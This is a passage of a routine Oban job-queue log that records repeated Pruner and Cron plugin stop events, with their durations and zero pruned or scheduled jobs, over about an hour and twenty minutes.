{"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:00.825 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:06:15.267 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:45.268 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:00.826 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:07:15.270 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:45.271 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:00.827 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:08:15.272 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:45.273 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:00.828 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:09:15.274 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:45.275 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:00.829 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:10:15.276 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:45.277 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:00.830 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:11:15.278 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:45.279 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:00.831 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:12:15.280 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:45.281 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:00.832 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:13:15.282 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:45.283 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:00.833 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:14:15.284 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:45.285 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:00.834 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:15:15.286 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:45.287 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:00.835 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:16:15.288 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:45.289 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:00.836 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:17:15.290 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:45.291 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:00.837 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:18:15.292 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:45.293 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:00.838 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:19:15.294 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:45.295 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:00.839 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:20:15.296 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:45.297 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:00.840 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:21:15.298 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:45.299 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:00.841 [info] {"source":"oban","duration":136,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:22:15.300 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:45.301 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:00.842 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:23:15.302 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:45.303 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:00.843 [info] {"source":"oban","duration":155,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:24:15.304 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:45.305 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:00.844 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:25:15.306 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:45.307 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:00.845 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:26:15.308 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:45.309 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:00.846 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:27:15.310 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:45.311 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:00.847 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:28:15.312 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:45.313 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:00.848 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:29:15.314 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:45.315 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:00.849 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:30:15.316 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:45.317 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:00.850 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:31:15.318 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:45.319 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:00.851 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:32:15.320 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:45.321 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:00.852 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:33:15.322 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:45.323 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:00.853 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:34:15.324 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:45.325 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:00.854 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:35:15.326 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:45.327 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:00.855 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:36:15.329 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:45.330 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:00.856 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:37:15.332 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:45.333 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:00.857 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:38:15.334 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:45.335 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:00.858 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:39:15.336 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:45.337 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:00.859 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:40:15.338 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:45.339 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:00.860 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:41:15.340 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:45.341 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:00.861 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:42:15.342 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:45.343 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:00.862 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:43:15.344 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:45.345 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:00.863 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:44:15.346 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:45.347 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:00.864 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:45:15.348 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:45.349 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:00.865 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:46:15.350 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:45.351 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:00.866 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:47:15.352 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:45.352 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:00.867 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:48:15.354 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:45.355 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:00.868 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:49:15.356 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:45.357 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:00.869 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:50:15.358 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:45.359 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:00.870 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:51:15.360 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:45.361 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:00.871 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:52:15.362 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:45.363 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:00.872 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:53:15.364 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:45.365 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:00.873 [info] {"source":"oban","duration":148,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:54:15.366 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:45.367 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:00.874 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:55:15.368 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:45.369 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:00.875 [info] {"source":"oban","duration":134,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:56:15.370 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:45.371 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:00.876 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:57:15.372 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:45.373 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:00.877 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:58:15.374 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:45.375 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:00.878 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:59:15.376 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:45.377 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:00.879 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:00:15.378 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:45.379 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:00.880 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:01:15.380 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:45.381 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:00.881 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:02:15.382 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:45.383 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:00.882 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:03:15.384 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:45.385 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:00.883 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:04:15.386 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:45.387 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:00.884 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:05:15.388 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:45.389 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:00.885 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:06:15.390 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:45.391 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:00.886 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:07:15.392 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:45.393 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:00.887 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:08:15.394 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:45.395 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:00.888 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:09:15.397 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:45.399 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:00.889 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:10:15.400 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:45.401 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:00.890 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:11:15.402 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:45.403 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:00.891 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:12:15.404 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:45.405 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:00.892 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:13:15.406 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:45.408 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:00.893 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:14:15.409 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:45.411 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:00.894 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:15:15.412 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:45.413 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:00.895 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:16:15.414 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:45.415 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:00.896 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:17:15.416 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:45.417 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:00.897 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:18:15.418 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:45.419 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:00.898 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:19:15.420 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:45.422 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:00.899 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:20:15.423 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:45.424 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:00.900 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:21:15.425 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:45.426 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:00.902 [info] {"source":"oban","duration":376,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:22:15.427 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:45.428 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:00.902 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:23:15.430 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:45.431 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:00.903 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:24:15.432 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:45.433 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:00.904 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:25:15.434 [info] 